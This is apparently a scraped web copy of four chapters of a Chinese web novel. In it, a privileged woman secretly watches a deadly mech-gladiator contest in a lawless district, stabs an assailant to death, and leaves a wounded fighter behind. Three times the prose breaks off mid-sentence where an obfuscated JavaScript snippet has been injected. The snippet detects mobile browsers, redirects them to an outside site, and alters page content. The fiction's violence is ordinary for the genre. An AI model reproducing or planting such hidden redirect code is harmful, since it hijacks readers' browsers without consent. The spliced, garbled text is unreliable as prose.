《恶女训犬的基本法》 1. 第 1 章 槐翎从氤氲之中唤回了自己脱离的意识,她睁开眼睛,列车外飞驰而过的景色陌生又肮脏,和她平日里生活的区域截然不同。 此刻的她正搭乘列车从最富有权力的A区前往最恶最低的E区,而槐翎这一趟旅行是着着实实违反了规定的。 然而规定是用来束缚守规矩的人,至于不守规矩的人,这些条条框框不过是笑话罢了。槐翎低头从口袋里摸出一包烟,熟练地点燃了香烟,这个车厢原是禁烟的,不过会乘坐前往E区的乘客,就没有一个是良民。 和她一个车厢的乘客大部分在D区站台离开了,剩余一个干瘦的男性坐在角落,他的双手正微微颤抖,无神浑浊的眼珠子正在四处观望,最终落在了槐翎的身上。 槐翎的衣着一看便和其他人不一样,和B区的精英不同,他们倾向于用大师设计的衣物来标榜自己的身份;而出身于A区的槐翎,从来不在意这些外物,她的吃穿用度都是这个星球最好的,也用不上为物质而忧心,她的烦恼也少得几乎没有。 而她身材高大健壮,紧身长裤包裹着腿部肌肉,这是常年科□□动换来的成果,挺拔的身姿足够吸引所有人的目光。 干瘦的男性舔了舔嘴唇,他的手越发颤抖,大有控制不住的趋势,槐翎的脸被烟雾遮住,只能微微瞥见她那双漂亮的凤眼。 理性与感性做了挣扎,最终心中的欲望突破了理性的禁锢,男性大着胆子又往槐翎的脸和身体打量,目光充满着恶意。 然而槐翎只一抬眼,从她身上自然流露出的上位者的威严便如同无形的大手,死死地捏住了男性的喉咙,让他像是碰见了什么无法玷污的圣物一般,不由自主地低下了头,再也不敢抬头去看槐翎。 列车还在飞驰,车内公告提醒车厢将会进入长长的地下通道,下一站便是E区的核心地带,在那里将不会有法律、军队的束缚,所有人都是自由的奴隶。 槐翎不是第一次前往E区,过去她曾经和父亲在飞机上远远地俯瞰过E区,和繁华热闹的B区、和谐安稳的C区不同,E区没有成型的住宅区,没有精心规划的绿化带,更别提摩天高楼与游乐设施,居住在E区的都是罪犯、罪犯的后代、自甘堕落的野兽、如尘埃一样低贱的生命,他们在E区这片无人看管的大地上,滋生了新的势力与头目,这是社会运转的规则——总会有什么人会成为顶端上的统治者,连这片罪恶的大地也不能免俗。 阴影笼罩了整个车厢,只有通道内白色的灯光一闪而过,微微照亮了车厢内部,干枯的男性坐在角落,他的生命好像在槐翎的一瞥中就被耗尽,再也没有了生气,槐翎见过这样的“人”不少次,多是冲着她的身份而来——当今皇帝的堂侄女,这是多么至高无上的头衔啊。 * 列车到站,槐翎能感觉到车站内的恶臭,那是食物腐败的味道与排泄物的味道混合起来,槐翎微微皱起了眉头,没想到她这一无心的举动反而引来了车站附近徘徊的猎犬的注意。 说是猎犬,也不过是这里的头目的眼线,他们流荡在E区的每一个角落,成为头目的眼睛、嘴巴与耳朵,为他传达每个角落的情报,槐翎可以感觉到,在她踏上E区土地的那一刻,已经有人知道她的身份了。 换作是从前,她定会让这样放肆的目光付出点代价,只不过如今,她是为了寻找乐趣而来,要是简单就把手牌公之于众,反而有些扫兴了。 槐翎佯装浑然不知,她用借来的身份卡突破了E区的关卡,身份卡显示的是一名和她同龄男性的信息,这个卡是槐翎要来的,多亏了这卡她能在其他区域畅通无阻,但是E区车站也没有工作人员,谁会在意来者的身份呢? 这次冒险她是为了暗网中热议的“猴戏”而来,直白来说就是猴子的缠斗,和数千年前的斗兽场本质相同,不过由于时代的变迁,这样残酷又有趣的活动也跟着进化了,猴子变成了人,而人驾驶着泰坦战斗,泰坦还得是自制的才行,为了观众的趣味性,这个缠斗必须得有一方无法战斗才会结束,本来这样的亡命行为不会有多吸引参赛者,又因主办方的高额奖金做诱饵,只要获胜就能获得奖金彻底脱离E区,这对不少E区人来说是唯一离开魔窟的机会,有着这样的至高诱饵,就算再残酷的下场也不再有人在意。 奖金的背后又是另一段故事了,主办方开设了地下赌场,越多人下注,就会有越多的奖金进入奖池之中,如果说有猴子表现不佳,并未获得“投资人”的青睐,那么他就算获胜了,主办方只会判定他获得最低级别的奖金,只有等奖池金额到达一个标准线后,获胜者才会得到真正的奖金。这也逐渐演变成了一个新的趋势,猴子必须要足够吸引人,泰坦也要能够吸引到投资人的喜爱,包括但不限于在战前表演一番,展现自己的实力,最终这样简单又鲜血淋漓的比赛在经过多年的演变下,真就变成了名副其实的猴戏了。 在前往观看猴戏的路上,不少人都怀着恶意观察槐翎,最终都因为她身上的气质而望而却步,E区的人是穷凶极恶,但他们不是愚蠢,这样一个穿着打扮明显和E区格格不入的人,怎么看都不是属于这里的人。 过去曾经发生过E区伤害C区人员的恶性事件,最终是血洗了E区才平息了C区的不满,这样的结局大家都没忘记,更别说槐翎是来自A区的人物,她要是有了什么事,恐怕得把E区所有人送上断头台才会罢休。 穿过肮脏潮湿的街道,热闹非凡的竞技场终于出现在槐翎眼前,她不需言语,站在门前的经理便理解了她的用意,低三下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161036|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四地引领槐翎至最好的包厢,又遣人送来了水果与美酒,和简陋的看台不同,包厢里铺满了红色的丝绒地毯,真皮沙发都是从别处送来的,因为保养得当并未有损耗,连吊顶的装饰都用真金描绘,淡淡的香味让包厢与外面的挥之不去的恶臭隔绝开来。槐翎站在落地窗前俯瞰竞技场的全貌,在这里她依旧能站在顶端看到整个E区。 毕竟她生来就尊贵,注定要站在最高处。 * 经理为槐翎送上猴子的资料,为了吸引投资人的注意,每个猴子都拍摄了展示自己的影片,槐翎表情未变,她伸出手指随意地扫一遍那些影片,倒是和她想象中的猴子没什么多大差别,要么就是一身肌肉的莽夫,要么就是透露出一脸阴险的投机取巧之人,更别提有些人满脸疤痕,配上怪异的纹身试图引起注意力,却只让槐翎觉得倒胃口。 经理注意到这位贵客并未提起兴趣,他立马换上谄媚的笑容,同时极快地和身后的服务生打了个眼色,另一批资料马上就到了他的手里。 “请您看看这一批,我们这些猴子都是可以替换的。” 槐翎“嗯”了一声,她本来只是逃避什么才会来到这里的,猴子不猴子的也无所谓了,既然眼前的经理这么有眼力见,她总不好辜负了他人一片好意吧? 同类的猴子再次出现了,槐翎快速地划过,最终在最后一页的角落,她注意到一名猴子,有着和他人不一样的执着眼神。 要说执着的话,这些猴子都很执着,毕竟没有人不想逃离E区这个魔窟,但是他的执着更为纯粹,那是和邪恶的导向截然不同的,甚至可以用纯净来形容,这样的人竟然会出现在E区,着实让槐翎感到有些意外了。 他没有名字,也没有任何背景,虽然和槐翎同龄,身高却矮了槐翎一截,登记的照片里能看到他瘦削的身躯,露出的锁骨仅仅被一层脏污的皮肉包裹,因为过瘦,脸颊都有些凹陷,只有那双眼睛熠熠生辉像是黑夜里的宝石,让人看一眼便印象深刻。 槐翎的指尖摩挲着那张照片,在影片里他沉默不语,只静静看着镜头,这段影片和其他猴子比起来实在是糟糕透顶,因此没有人给他投资,也自然而然排在了榜单的最后一名。 经理敏锐地注意到了槐翎的目光,“这个猴子的比赛将会在三分钟后开始,前面几名猴子已经比出了胜负,您可以看看他的表现再做定论。” ·槐翎也并未言语,这样的经理能在E区生存下来确实有些察言观色的本事,她关掉屏幕,让经理为自己送上红酒,服务生熟练地打开酒瓶,醒酒,倒酒,如红宝石般的酒液顺着杯壁滑下,点滴酒液似血泪又似宝珠,浓郁的芳香充斥着整个房间,与此同时看台上传来了震耳欲聋的吼叫声,看来猴戏要开始了。 2. 第 2 章 竞技场上的泰坦碎片很快就被清理干净,只剩下机油和血液混合留下的痕迹,深深地渗入了地面,难以辨认出原本灰白色的地面。 在竞技场的两端,卷帘门缓缓拉开,一个破破烂烂的泰坦走出,看着他这些比自家扫地机器人还不如的泰坦,槐翎觉得观赏性下降了不少,她来到这里是为了看激动人心的厮杀,而不是儿童拿着破烂过家家。 这个破烂泰坦显然不能引起其他观众的兴趣,他们大声喝倒彩,还把手里的酒瓶、垃圾扔到竞技场上,工作人员并未阻挠观众的过激行为,在E区都没有规则可言,更何况是最黑暗的竞技场? 对面的巨型泰坦反而显得专业多了,看起来是用坦克与货车改装而成的,从体型来说就已经赢了一截。经理见槐翎的表情略有变化,立马识趣地为槐翎讲解起来:“老手会组建一个团队为泰坦做整备,这些人的驾驶技术一般来说没什么水平差距,更多能决定胜负的是泰坦的水平,也就是说只要泰坦没有什么问题的话,一般的猴子能站到中后期。” “根据我过往的经验,我建议您可以再看看别的比赛。”末了,经理又加了一句。 “不必了。”槐翎放下酒杯,她定睛看着那破烂泰坦,在战场上掌握胜负关键的并不是经理所说的泰坦,而是是否有战胜的意志。 即使动作迟缓,却招招毙命,破烂的外表下隐藏的杀意比谁都要浓烈,是对金钱的渴望,还是纯粹享受着杀戮?槐翎不禁开始思考起来,这场比赛看似一边倒,对面的赌注一直在增加,好像不过五分钟就能宣告赢家。 槐翎勾唇,把黑卡从口袋里掏了出来。 经理立马恭恭敬敬地接过黑卡,“您要为哪边下赌注?” “一千万,无名。”槐翎微笑,她把杯中的红酒一饮而尽,言语却坚定得让人不容置喙。 经理虽愣神,也很快恢复了理智,他点头称是,然后现场为槐翎下了赌注,同时在竞技场上的显示屏也同步显示有人为无名投资了一千万,这个金额马上就压过了对面的总数,这个数字一出来马上引起了全场沸腾。 原本洋洋得意的巨型泰坦顿时被那数字吸引了注意力,驾驶员甚至钻出来摘下头盔骂了两句,还未等他反应过来,那瘦小又破烂的泰坦不知何时钻到了他的身后,高高举起的匕首竟像是死神的宣告。 看台上响起了震耳欲聋的叫声,是喝彩,还是为自己失去的赌注而感到愤怒? 本来这场比赛是不会有什么悬念的,毕竟明眼人一看就能知道水平的高下,然而却是出乎意料地由那破烂泰坦拔得头筹,看着散落一地的机油和装甲,在刚才那一击中,驾驶员似乎很难找到完整的尸首。 工作人员迅速地把巨型泰坦扔进了焚化炉,除了黑色的灰与刺鼻的臭味什么都没留下。 看台上都是咒骂声,槐翎倒是觉得这样的比赛着实是有趣,这跟赛马赛狗是一样的道理,没有人会不喜欢这种胜出的感受。 “他的下一场比赛在什么时候?”槐翎问道。 “在之前的比赛中,已经淘汰了五名选手,他的比赛将会是二十分钟后。”经理迅速回答。 看来一般情况下十分钟就能分出胜负,槐翎点头,二十分钟她还是等得起,现在夜晚才刚刚开始呢。 第二轮的比赛更简单粗暴,在猴戏里基本没有什么规则可言,越是混乱观众越是爱看,在比赛的期间观众还能实事下注,在热血上头的时候人更容易冲动消费,庄家是非常清楚这一点的。 爆炸与阴招并存,整个竞技场混乱不堪,还有猴子宁愿同归于尽也不愿看到对手胜出,一个接着一个猴子被碾成了碎片,他们的泰坦也跟着一同陪葬,最后被扔进焚化炉分不出彼此。 如今整个奖池金额已经接近亿元,只有留到最后的人才能获得这巨额的奖励,不拼命的人都是傻子,参赛的猴子只要拿了这笔钱就能彻底脱离E区,直接到达C区生活。 和E区比起来,C区简直和天堂没什么不同。 槐翎有些饿了,让经理送了一些清淡的饭菜上来,正好送来了一份清蒸海鱼,服务生为槐翎挑出最为滑嫩的鱼肉,放置在小碟上,又为她添上了搭配的红酒。 她把鱼肉送进口中细细咀嚼,虽然鱼肉的品质和在A区吃的无法比,但总体素质还算不错,听经理介绍这还是特意进口而来的,想必庄家也是花了不少心思,这同时也反映确实有不少其他区的人会秘密来这里看猴戏。 几分钟后,无名的比赛开始了,多亏了槐翎的带动,不少人也跟着下注到无名身上,他的泰坦比起上一轮比赛更加破烂了。 那破烂的泰坦正在发出轰鸣,那纤细的身姿好像随时就会被飞扬的尘土撕裂,槐翎看中的猴子太瘦弱了,年幼又瘦弱的他是最佳的捕食对象。 然而每次他被打趴的时候,大家都会以为他的泰坦再也无法重新站起来,而他和他的泰坦一样顽强,在被打倒了一次又一次后,他还是擦去了身上的血继续战斗。 虽然几乎没有优势,但不代表没有胜利的可能。 槐翎再次下注,金额和上次一样,奖池最终突破了亿元,竞技场四周的焰火也因为槐翎的大方自动地燃起,再次把全场气氛推上了高潮。 猴子可以失败,但不可以不竭尽全力便接受了失败。这就是像槐翎这样的“投资人”最喜欢看到的猴子。 所有的猴子都应该奋战到最后一刻,就算要以性命为代价,他们都应该为了背后的投资人而战斗。 即使戴着头盔,槐翎依旧能从自己的猴子上感受到了惊人的意志力,她满意地唤人送来香槟,精彩的战斗,高涨的情绪,炙热的氛围,现在正是喝酒的最好时刻。 经理看得出来那个无名猴子很好地取悦了槐翎这位贵客,在得到老板的允许后,主持人更加卖力地为槐翎的猴子进行解说,在主持人的催化下,整个猴戏的舞台都因为那一只无名猴子而变得兴奋。 竞技场四周的呐喊震耳欲聋,人们的喊叫声甚至让地板和天花板都在震动,隔着特制玻璃都能感受到被炒热的气氛,他们在呼唤着猴子的代号,猴子并未受到干扰,他的操作全程没有一点错误,就算泰坦极大地拖了后腿,他依旧凭借自己出色的操纵技术化险为夷。 第二轮混战很快结束了,这种泰坦一般很难支撑两次激烈的战斗,事实也和槐翎猜测的一样,现在台上只剩下两只猴子,他们的泰坦都受损严重,最重要的保护驾驶员的部件都已脱落,能够清楚看到两个驾驶员的身体露在外面。 他们被批准得到短暂的休息,庄家趁机让观众赶紧进行最后的下注,虽然无名猴子表现惊人,但在对上胜率有67%的老猴子,大家还是毫不犹豫选择了老猴子。 经理眼巴巴地看着槐翎,只要她再下注一点,这个月他的业绩要求就达标了,像槐翎这样的贵客可是可遇不可求啊。 不过槐翎只是微笑着摇晃酒杯,看着那气泡在杯壁上留下漂亮的痕迹,虽然经理没有提起,但是这些猴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161037|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子真的能够如愿拿到那笔巨款吗? 这个亿元的奖池,不过也只是个驱使人自行走向断头台的诱饵罢了。 * 身后的舞台已经打响了最终决战,少年戴着厚重的头盔再次登上了战场,他遍体鳞伤,瘦弱的身体强行支撑着背负的希望。 泰坦身上因为散热而冒出的蒸汽如同白雾一样遮盖了舞台,老猴子与无名猴子之间的战争已经持续有数分钟,他们依旧没能分出胜负。老猴子的技术更加老练,他能活到今天并不是靠着运气,在团队努力的结果下,他的泰坦状态尚可,配置的链锯上挂满了零件与血肉,在血液的润滑下,反而使得运作起来更顺畅了。 无名猴子的武器所剩无几,只有一把卷了刃的匕首,上面满是锈迹,可能连捅死一个人都有些吃力,这样的武器却要去对抗眼前的泰坦,眼看着他的状态越来越差,无名猴子的赔率也跟着高了起来。 槐翎注意到无名猴子的动作确实不似一开始那样灵活,长时间高度集中的战斗消耗了他大量的体力,作为一个拼上了性命的驾驶员,他应该要明白什么叫策略,而不是一面的采取猛攻。 不过观众在猴戏中并不是想看到什么策略,什么方案,他们想要的是最彻底的厮杀与剥夺生命的快感,倒不如说这样的打斗方式只有E区才能见到。 槐翎就读的特雷斯学院也有自己的竞技台,上面的打斗可比这里文雅多了,槐翎曾经是两届的冠军,不过她觉得一点意思都没有,贵族之间的较量就和面对面下棋一样,哪里有这里的殊死搏斗激动人心? 无名猴子的泰坦退得越来越后,他已无路可逃,卷刃的匕首是他最后反击的手段,启动了的链锯压在他的上方,血腥味遮盖了圆月,下一刻就会取走它的性命。 所有人都屏息等待得出胜负的那一个瞬间,槐翎却在此时看到无名猴子一直藏在身后的碎片,那个碎片记得是从对方泰坦身上掉落下来的,碎片的边缘很是尖锐。 “虽然想法很好,但是运气也是实力的一部分。”槐翎把空了的酒杯放下,她抬手让经理把桌上的食物撤走,服务生看着没被动过的肉小心翼翼地吞了吞口水。 经理一开始尚未理解槐翎那句话的意思,但当台上那尖锐又刺耳的声音夺取了所有人的注意力后,他才顿悟发生了什么。 无名猴子确实出其不意地用那碎片完成了反击,但他的泰坦并未承载大家的厚望,当尘土落下之际,他的泰坦也随之解体,尚未反攻便已结束了比赛。 无名猴子从驾驶座掉了下来,他猛烈地咳嗽着,鲜血混着泥土粘在他的脸上,劣质的头盔四分五裂,瘦弱的身躯摇摇欲坠,紧接着朝他而来的是铺天盖地的谩骂、数不清的垃圾被扔到台上,有刀片、有酒瓶、所有的恶意都朝着他一人发泄。 工作人员早就习惯了这样的场面,他们冷漠地等待这场暴行的冷却,这样的画面每天都会上演,唯一不同的是败者通常没命看到这一幕。 既然一方的泰坦已经报废,那这场比赛自然有了结果。 老猴子喘着粗气,他惊魂未定地看着无名猴子,而后看着奖池里的亿元奖金,露出了空荡荡的嘴巴。 “胜利是属于我的!”他放声大笑,那些扔在台上的垃圾就像是他的加冕礼,他根本不在乎这些人会怎么对待自己,反正拿了这笔钱后他就能彻底离开这个鬼地方。 而在无人在意的角落,败者已经被粗暴地拖走,他的下场在泰坦解体的那一刻便被定下。 3. 第 3 章 经理惶恐地看向槐翎,他见过很多客人,像槐翎这样出手大方的也不在少数,但是像槐翎如今这样赌输了也云淡风轻的客人还是第一次见,他深深弯着腰不敢得罪眼前的人物。 只要是有点见识的人都会知道槐翎这样人再不济也是来自B区,至于A区那些神仙,经理还真没遇到过,在媒体的渲染下,A区的人在他们眼里都跟活在仙境里一样,毕竟是最接近统治顶端的人群,他们的一小片指甲都能压死半边E区。 在绝对的权力之下,E区这个竞技场根本算不上什么。 槐翎眯着眼睛看向瑟瑟发抖的经理,她今晚一口气喝了两瓶酒,虽然酒精度数不高,但也让她感到有些飘飘然。 今天的比赛虽然没能赢,但槐翎着实看到了些有趣的画面,当做是消遣的话也算是达成目的了,她不是什么非要争第一的小屁孩,现在时间不早,她也该回家了。 不过她也起了坏心眼,表面装作不愉快地大大咧咧坐在沙发上,左手一下接着一下地敲打手心里的高脚杯。 敲击声清脆得像是敲在了每个人的心底,随着槐翎敲打速度的加快,那声音就像是一道催命符,让在场的人不敢用力呼吸。 看到他们那瑟瑟缩缩的模样,槐翎也玩够了,她站起来走到经理的身旁,用纤细的手指在他耳边打了个响指,清脆的声音吓得经理脚一软,整个人跪在了槐翎的脚边。 槐翎并未过多停留,转身就离开了包厢,径直地穿过华丽的走廊,散场后的走廊里聚集了不少看热闹的人,好些看上去并不属于E区的人一个接着一个离开,然后在其他人的注视下坐上了豪华轿车。 只是一离开属于他们的区域,空气里的那股恶臭又扑面而来,槐翎强忍着呕吐的冲动,打算抄个近路尽快往车站赶去。 幸好工作人员很是热情好客地为她指出后门的捷径,槐翎从口袋里抓出一把钞票当小费,算是了了这个人情。 后门似乎是他们倾倒垃圾的专用通道,恶心的味道更浓烈了,就算是再有定力的槐翎都有些反胃,幸好晚上没吃很多东西,只不过现在酒意有些上头,让她感觉头脑有些混沌。 左绕右绕了半天后,槐翎终于离开了竞技场的后方区域,等她依照记忆想要回到去往车站的主路时,旁边几个人聊天的声音倒显得有些突兀了。 竞技场周围是围了不少人,不过在散场后大多数人都会离开,很少人会逗留于此,那几个人的嗓门不大,说的话却吸引了槐翎的注意力。 “*的,我可是把我全部的钱都压他身上了。” “谁不是,我还想着赚点钱去买点‘迷幻’,谁知道他竟然给老子输了。” “这臭小子倒是命硬,这都能活着下台。” “喂,别把他弄死了,让他继续参加猴戏多赚点钱吧?” 他们又骂了两句,而后是窸窸窣窣的不知道翻了什么东西出来,随着一小阵火光闪现,烟雾从小巷深处飘出来。 槐翎马上明白他们在做什么,这都是一般猴子的下场吧,就算在竞技场里活下来了,输掉的猴子也要承受赌徒的怒火,成为他们的奴隶,最后一次又一次去参加比赛,等待他们的结果只会有一个。 槐翎忽地想起来那无名猴子那漆黑的眼睛,他那张脸实在算不上好看,瘦得脱了相,倒真的有几分像猴子,这样的身体能撑着打了三轮比赛,该说他是意志力强还是天赋异禀好。 “你在这里看什么?”其中一个人敏锐地发现了站在不远处的槐翎,这句话一出,其他人也迅速充满敌意地看向槐翎。 “臭**,再看我杀了你。”为首的一人把手伸进口袋,不管是不是虚张声势,还是真的有什么杀伤武器,槐翎都并不在意。 她歪着头仔细看了这几个人的脸,都有明显吸食‘迷幻’的体征,所以毫无判断力这件事就很有说服力,槐翎不是什么大方的人,被人指着脸骂脏话这件事,还是让她感到有些不愉快的。 不过也在这个时候,槐翎才看清倒在他们脚边的无名猴子,鲜血在夜色并不明显,他蜷缩成一团,但身体还有起伏,看来是没死,不过估计也快了。 他的手指以极小的幅度动了一下,而后又瞅准了机会紧紧地抓住了地上的泥土。 哎呀这真是…槐翎叹了口气,她不是什么残忍的人,见死不救这种事情实在是无法过思想品德课,更何况她品学兼优,每门课程都拿了满分。 “借个火吗?”槐翎从口袋里掏出一支香烟,脸上的笑容温和又甜美,人畜无害得好似地狱里的天使。 “他*的,我要划花你这张脸。” “别啊,今晚还长着呢,玩玩吧?”另外俩人不怀好意地笑了起来,他们的眼神很是放肆,恶心的视线在槐翎身上来回,满腔的恶意只让人感到不适。 “不借就算了,不用这样骂人吧。”槐翎耸肩,从口袋里拿出自己的打火机,她悠闲地点燃香烟,深深地吸了一口,白色的烟雾朝着他们的脸上吹去,在烟雾之中槐翎的脸更显迷幻。 其中一人被槐翎的动作完全激怒了,他从口袋里拿出弹簧刀,那刀身还手工刻了一串文字,不顾其他人的劝阻就举起刀朝槐翎挥去,槐翎只一侧身就避开了他的攻击,而后用牛皮靴子的鞋头狠狠地踹向那人的膝盖,等他因为疼痛跪下来时槐翎乘胜追击,用膝盖直击中了他的脖子,在清脆的骨头破裂声之后,那人应声倒下。 另外两人显然被槐翎这行云流水的攻击吓得站在了原地,在几秒后他们才醒悟过来要做什么,一边咒骂着一边朝槐翎扑来。 槐翎把香烟扔在脚边,她这次单独出行并不是没做准备,面对这种情况她根本不用慌,然而那个无名猴子并不这么认为,槐翎眼睁睁看见他不知道何时站了起来,瘦弱的身躯竟然迸发最后顽强的力量,看样子他打算从后方对其中一个混混发出攻击。 他手里抓着石头,就像是驾驶泰坦时抓着的那小小的碎片,不起眼但致命。 槐翎装作不经意地把掉落在脚边的弹簧刀踢向前方,无名猴子愣了一下却很快明白过来槐翎的用意,他也瞬间掌握了战场的动向,眼疾手快地伸手去拾取那弹簧刀。 槐翎轻巧地往后退两步,与敌人拉开距离,她不打算自己出手,如果这个猴子能够如她期待的那样——不,真的做到再说吧。 混混扑了个空,他们恼羞成怒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161038|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又因为身体素质的不足,怎么也碰不着槐翎,看着槐翎那游刃有余的模样几乎气得要脑溢血。其中一个人甚至被自己的同伴绊了一跤,他一个踉跄跪倒在槐翎面前,尖锐的路面划破了他的手掌,鲜血横流,他哀嚎着,眼泪鼻涕马上就流了出来。 另外一个混混作势要去扶他,没等他如愿,原本只属于他同伴的弹簧刀就抵在了他的喉咙,只需要稍稍一用力,就会马上划破他的皮肤,用鲜血染红刀身的文字纹路。 无名猴子如幽灵一般来到他的身后,也正如槐翎所设想的那样,他完成了自己的反击。 “放弃抵抗吧。”他低声说道,声音沙哑得听着都让人觉得刺耳。 听到这句话,槐翎却皱起了眉头,都这样了他还只想着让人放弃抵抗啊? “你竟然还有力气?喂,放开我,不然我可不会放过你!”那混混丝毫没有听从的意思,他胡乱挣扎着,皮肉几近要碰到刀刃。 无名猴子本来就没什么力气,在他这样用力的挣扎下也无法很好地控制对方,他咬紧牙关,再次压低了声音让混混不要再挣扎。 槐翎饶有兴致地抱着手臂,在E区里面竟然还会有这么仁慈的一幕,真是让人大开眼界,可惜啊,她比这个E区人更懂E区的残酷,仁慈在这里只会招致更坏的后果。 果不其然,混混并未把无名猴子放在眼里,他用肩膀狠狠地顶开无名猴子的手臂,弹簧刀随之掉在地上,发出了清脆的声响,这下无名猴子没有了反击的手段,也失去了自身唯一的优势。 无名猴子乏力地后退两步,他用力地咳嗽起来,鲜血从他的嘴角渗出,看样子是再也派不上用场了。 “快、快跑,我会解决的。”他几乎是用尽了最后的一点力气说道。 槐翎皱起眉头,她什么时候需要人保护了? 更何况是这么一个明显看上去半死不活的人? ‘既然如此,她只好趁这个机会澄清一下,她——槐翎,不是什么娇生惯养的大小姐。 直冲着槐翎而来的拳头带着一阵风,槐翎轻巧地避开攻击,一个滑步转移到攻击者的侧面,而后她握紧了拳头朝着太阳穴发出攻击,她的力气很大,几乎能听见头骨碎裂的声音,那混混还未反应过来就软软地倒下,原本躲在暗处想要暗算槐翎的最后一人,吓得浑身颤抖动弹不得。 槐翎并未打算放过这样的人,她弯腰捡起弹簧刀,银色的刀身在微弱的灯光下竟然反射出凛冽的光,她活动了手腕,而后一步一步迫近,那混混身下涌现一阵腥臭,黄色的液体渗出他的裤子,他跪地向槐翎求饶,眼泪鼻涕糊了满脸。 “你要杀了他吗?”身后那微弱的声音带了一分不可置信。 槐翎并未有任何动容,她抬手,用力,刀身干净利落地没入了喉咙深处,暗红的鲜血喷涌而出,很快埋没在泥土之中。 最后一人连惨叫都没能发出来,气流的声音从刀口处溢出,听起来反而有些像是风从缝隙中流过。 槐翎身上并未沾染到血污,她后退了数步,然后转身看向靠在墙边的无名。 “接下来,我该怎么处理你呢?”她把处理二字咬得极重。 4. 第 4 章 他无力地坐了下来,似乎早就接受了自己的命运。 槐翎缓缓走到他面前,她的鞋跟在沙石地上发出了轻微的声响,每一下都像是死神宣告死亡的钟声。 无名猴子露出了自嘲的笑容,他努力地扯着嘴角,这副模样当真是比哭还难看。 “哎,我也不是什么冷血的人,你这副样子倒是让我进退两难了。”槐翎蹲了下来,她和其他人不一样,那双眼睛熠熠生辉,纯净得像是海底的珍珠。 但是她刚刚才一口气杀了两个人,无论怎么看,都和眼前这副善良又美好的脸扯不上关系。 “这样吧,我给你叫个救护车,费用什么的我可以都帮你付了…”没等槐翎说完,无名猴子噗嗤一声笑了出来,这个反应很是冒犯。 不过槐翎并未有任何恼怒,只是不解地盯着他的脸看。 “这里没有医院。”他平静地说。 槐翎倒是没想到这一点,E区的公共设施竟然如此落后,没有医院的话,如果生病受伤了不就只能自行处理了。 运气好的话还能熬过去,运气不好只能下辈子再见了。 槐翎现在有些后悔自己多管闲事了,她身上没有治疗的东西,这里没有医院,现在放在她面前只剩下两个选择,要么放他在这里等死,要么就带他去别的区治疗。 简单来说,就是让槐翎去选择这个生命的去留。 想到这里,她长长叹了口气,放着不管的话,首先从道德上来说就很让人过不了这关,毕竟槐翎不是没有救他的法子,只是会很麻烦罢了。 但是真要救的话…她是偷偷来E区的,带一个活人走很难不被其他人发现,这样子她偷偷来的事情也会暴露。而且等他伤势好了再放回E区也未免有点太残忍…… 槐翎感觉自己的头开始痛了起来。 无名猴子看出了她的挣扎,从槐翎的衣着和举手投足来看就知道她只会来自B区及以上的地区,她和自己本就不是一个世界的人,所以他并未有过多的奢求。 “不用管我了,走吧。”言毕,他闭上了眼睛,呼吸声断断续续的,细微得像是秋夜里的一阵风,不用多久他的心脏就会停止跳动,最后他的尸骨会被其他动物分食,只剩下一具白骨。 槐翎咬紧了后槽牙,她并未回复,这个人在一个小时前还在台上大杀四方,一个小时后像条流浪狗死在这里,这样的对比实在是过于残忍,就算是槐翎这样见多识广的人,也很难不会动容。 在充分的考虑之后,槐翎只得出一个对自己最有利的结论。 她站了起来,决定一走了之。 随着脚步声越来越远,他感觉自己的五感正在慢慢失去作用,跳动的心脏也逐渐无力,干瘪的身体里努力地酝酿出求生的意志,人类真是自私自利的动物,在这个时候依旧爆发出无穷的力量,他能感觉到泪水盈满自己的眼眶,顺着他的脸颊流了下来,最后无声地滴落在沙土之中,很快便消失不见。 也不知道从何时开始,身上的疼痛也感觉不到了,呼吸虽然不畅,但也不至于会让他的肺部刺痛,此时他的脑海里开始回想起在竞技台上的画面,他拿起了一块碎片,在瞬间便看穿了对方的机甲弱点,他知道那是制胜的关键,所以很是沉得住气,等到最后一刻才发起奇袭,但是自己的机甲不知道为何在那一刻崩坏,最重要的骨架不过几秒便分崩离析,所有零件都无法正常地运作,等他醒悟过来的时候,自己已经从驾驶座上摔了下来,那些由他亲手拼凑的零件也像下雨一样落在自己的身侧。 他瞪大了眼睛,对手的笑容过于刺眼,刺得他心如刀绞。 在比赛前,对手还特意来过他的休息室,和他进行了一场友好的交流,在E区能遇到这样有礼貌的人并不容易,更何况他们还是对手,所以他毫无防备地和对手聊起了机甲的设计与组装——他应该意识到不对劲的,对方是团队作战,只要能吸引自己的注意力,要在机甲上做手脚并不难,更何况这里的竞技根本没有规则可言。 他无力地笑着,真是嘲讽啊,原本可以离开E区的人应该是他才对。 